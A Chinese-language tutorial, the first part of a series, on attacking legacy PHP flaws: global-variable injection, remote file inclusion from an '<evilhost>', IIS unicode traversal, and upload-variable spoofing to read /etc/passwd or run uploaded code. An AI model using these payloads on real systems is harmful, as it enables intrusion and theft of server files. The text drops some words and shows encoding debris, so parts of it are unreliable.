如何對PHP程序中的常見漏洞進行攻擊（上）
PHP中的變量不需要事先聲明，它們會在次使用時自動創(chuàng)建，它們的類型也不需要指定，它們會根據(jù)上下文環(huán)境自動確定。從程序員的角度來看，這無疑是一種極其方便的處理方法。很顯然，這也是快速開發(fā)語言的一個很有用的特點。一旦一個變量被創(chuàng)建了，可以在程序中的任何地方使用。這個特點導致的結(jié)果是程序員很少初始化變量，畢竟，當它們次創(chuàng)建時，他們是空的。
很顯然，基于PHP的應用程序的主函數(shù)一般都是接受用戶的輸入（主要是表單變量，上載文件和Cookie等），然后對輸入數(shù)據(jù)進行處理，然后把結(jié)果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易，實際上PHP是把這些輸入數(shù)據(jù)看作全局變量來處理的。
例如：
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很顯然，這會顯示一個文本框和提交按鈕。當用戶點擊提交按鈕時，“test.php”會處理用戶的輸入，當“test.php”運行時，“$hello”會包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應該看出，攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過表單輸入來調(diào)用“test.php”，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被創(chuàng)建，“$setup”也被創(chuàng)建了。
譯者注：這兩種方法也是我們通常說的“POST”和“GET”方法。
下面的用戶認證代碼暴露了PHP的全局變量所導致的問題：
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代碼首先檢查用戶的密碼是否為“hello”，如果匹配的話，設置“$auth”為“1”，即通過認證。之后如果“$suth”為“1”的話，會顯示一些重要信息。
表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段代碼犯了想當然的錯誤，它假定“$auth”在沒有設置值的時候是空的，卻沒有想到攻擊者可以創(chuàng)建任何全局變量并賦值，通過類似“http://server/test.php?auth=1”的方法，我們完全可以欺騙這段代碼，使它相信我們是已經(jīng)認證過的。
因此，為了提高PHP程序的性，我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話，這可是一項非常艱巨的任務。
一種常用的保護方式是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量，這依賴于我們的提交方式（GET或POST）。當PHP配置為打開“track_vars”選項的話（這是缺省值），用戶提交的變量可以在全局變量和上面提到的數(shù)組中獲得。
但是值得說明的是，PHP有四個不同的數(shù)組變量用來處理用戶的輸入。HTTP_GET_VARS數(shù)組用來處理GET方式提交的變量，HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量，HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量，而對于HTTP_POST_FILES數(shù)組（比較新的PHP才提供），則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數(shù)組中，因此一個的PHP程序應該檢查這四個數(shù)組。
[遠程文件]
PHP是一種具有豐富特性的語言，提供了大量的函數(shù)，使編程者實現(xiàn)某個功能很容易。但是從的角度來看，功能越多，要保證它的性越難，遠程文件是說明這個問題的一個很好的例子：
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
上面的腳本試圖打開文件“$filename”，如果失敗顯示錯誤信息。很明顯，如果我們能夠指定“$filename”的話，能利用這個腳本瀏覽系統(tǒng)中的任何文件。但是，這個腳本還存在一個不太明顯的特性，那是它可以從任何其它WEB或FTP站點讀取文件。實際上，PHP的大多數(shù)文件處理函數(shù)對遠程文件的處理是透明的。
例如：
如果指定“$filename”為“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
則上面的代碼實際上是利用主機target上的unicode漏洞，執(zhí)行了dir命令。
這使得支持遠程文件的include()，require()，include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容，并且把它們按照PHP代碼解釋，主要是用在庫文件上。
例如：
<?php
include($libdir . "/languages.php");
?>
上例中“$libdir”一般是一個在執(zhí)行代碼前已經(jīng)設置好的路徑，如果攻擊者能夠使得“$libdir”沒有被設置的話，那么他可以改變這個路徑。但是攻擊者并不能做任何事情，因為他們只能在他們指定的路徑中訪問文件languages.php（perl中的“Poison null byte”攻擊對PHP沒有作用）。但是由于有了對遠程文件的支持，攻擊者可以做任何事情。例如，攻擊者可以在某臺服務器上放一個文件languages.php，包含如下內(nèi)容：
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”設置為“http://<evilhost>/”，這樣我們可以在目標主機上執(zhí)行上面的攻擊代碼，“/etc”目錄的內(nèi)容作為結(jié)果返回到客戶的瀏覽器中。
[文件上載]
PHP自動支持基于RFC 1867的文件上載，我們看下面的例子：
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代碼讓用戶從本地機器選擇一個文件，當點擊提交后，文件會被上載到服務器。這顯然是很有用的功能，但是PHP的響應方式使這項功能變的不。當PHP次接到這種請求，甚至在它開始解析被調(diào)用的PHP代碼之前，它會先接受遠程用戶的文件，檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值，如果通過這些測試的話，文件會被存在本地的一個臨時目錄中。
因此，攻擊者可以發(fā)送任意文件給運行PHP的主機，在PHP程序還沒有決定是否接受文件上載時，文件已經(jīng)被存在服務器上了。
這里我不討論利用文件上載來對服務器進行DOS攻擊的可能性了。
讓我們考慮一下處理文件上載的PHP程序，正如我們上面說的，文件被接收并且存在服務器上（位置是在配置文件中指定的，一般是/tmp），擴展名一般是隨機的，類似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它，這可以通過兩種方式，一種方式是在PHP 3中已經(jīng)使用的，另一種是在我們對以前的方法提出公告后引入的。
但是，我們可以肯定的說，問題還是存在的，大多數(shù)PHP程序還是使用老的方式來處理上載文件。PHP設置了四個全局變量來描述上載文件，比如說上面的例子：
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序開始處理根據(jù)“$hello”指定的文件，問題在于“$hello”不一定是一個PHP設置的變量，任何遠程用戶都可以指定它。如果我們使用下面的方式：
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
導致了下面的PHP全局變量（當然POST方式也可以（甚至是Cookie））：
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表單數(shù)據(jù)正好滿足了PHP程序所期望的變量，但是這時PHP程序不再處理上載的文件，而是處理“/etc/passwd”（通常會導致內(nèi)容暴露）。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。
我在前面已經(jīng)說了，新版本的PHP使用HTTP_POST_FILES[]來決定上載文件，同時也提供了很多函數(shù)來解決這個問題，例如有一個函數(shù)用來判斷某個文件是不是實際上載的文件。這些函數(shù)很好的解決了這個問題，但是實際上肯定有很多PHP程序仍然使用舊的方法，很容易受到這種攻擊。
作為文件上載的攻擊方法的一個變種，我們看一下下面的一段代碼：
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻擊者可以控制“$theme”的話，很顯然它可以利用“$theme”來讀取遠程系統(tǒng)上的任何文件。攻擊者的最終目標是在遠程服務器上執(zhí)行任意指令，但是他無法使用遠程文件，因此，他必須得在遠程服務器上創(chuàng)建一個PHP文件。這乍看起來好象是不可能的，但是文件上載幫了我們這個忙，如果攻擊者先在本地機器上創(chuàng)建一個包含PHP代碼的文件，然后創(chuàng)建一個包含名為“theme”的文件域的表單，用這個表單通過文件上載把創(chuàng)建的包含PHP代碼的文件提交給上面的代碼，PHP會把攻擊者提交的文件保存起來，并把“$theme”的值設置為攻擊者提交的文件，這樣file_exists()函數(shù)會檢查通過，攻擊者的代碼也將執(zhí)行。
獲得執(zhí)行任意指令的能力之后，攻擊者顯然想提升權限或者是擴大戰(zhàn)果，而這又需要一些服務器上沒有的工具集，而文件上載又一次幫了我們這個忙。攻擊者可以使用文件上載功能上載工具，把她們存在服務器上，然后利用他們執(zhí)行指令的能力，使用chmod()改變文件的權限，然后執(zhí)行。例如：攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序，然后執(zhí)行，這樣獲得了root權限。